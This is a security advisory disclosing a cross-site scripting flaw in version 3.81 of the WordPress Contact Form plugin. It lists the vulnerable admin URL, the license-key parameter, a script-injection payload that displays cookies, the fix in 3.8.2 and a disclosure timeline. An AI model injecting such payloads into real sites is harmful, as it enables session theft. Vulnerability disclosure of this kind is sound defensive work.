Plugin Details
 
Plugin Name : Contact Form
 
Effected Version : 3.81 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Unauthenticated
 
PoC - (Proof of Concept) :

http://localhost/wp-admin/admin.php?page=contactform.php&action=go_pro

In the serial key place the below payload

"><script>alert(document.cookie)</script>

Vulnerable Parameter : bws_license_key


Video Demonstration :

http://www.youtube.com/watch?v=4yHZvPs8FTE
 
Type of XSS : Reflected / Stored
 
Fixed in : 3.8.2
 
http://wordpress.org/plugins/contact-form-plugin/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
The Contact Form plugin allows you to implement a feedback form to a web-page or a post in no time. It is an extremely easy form, that doesn’t require any additional settings, though there are some available options. All you need is just to activate the plugin and insert the shortcode [bestwebsoft_contact_form] into the text. There is also a premium version of the plugin with more useful features available.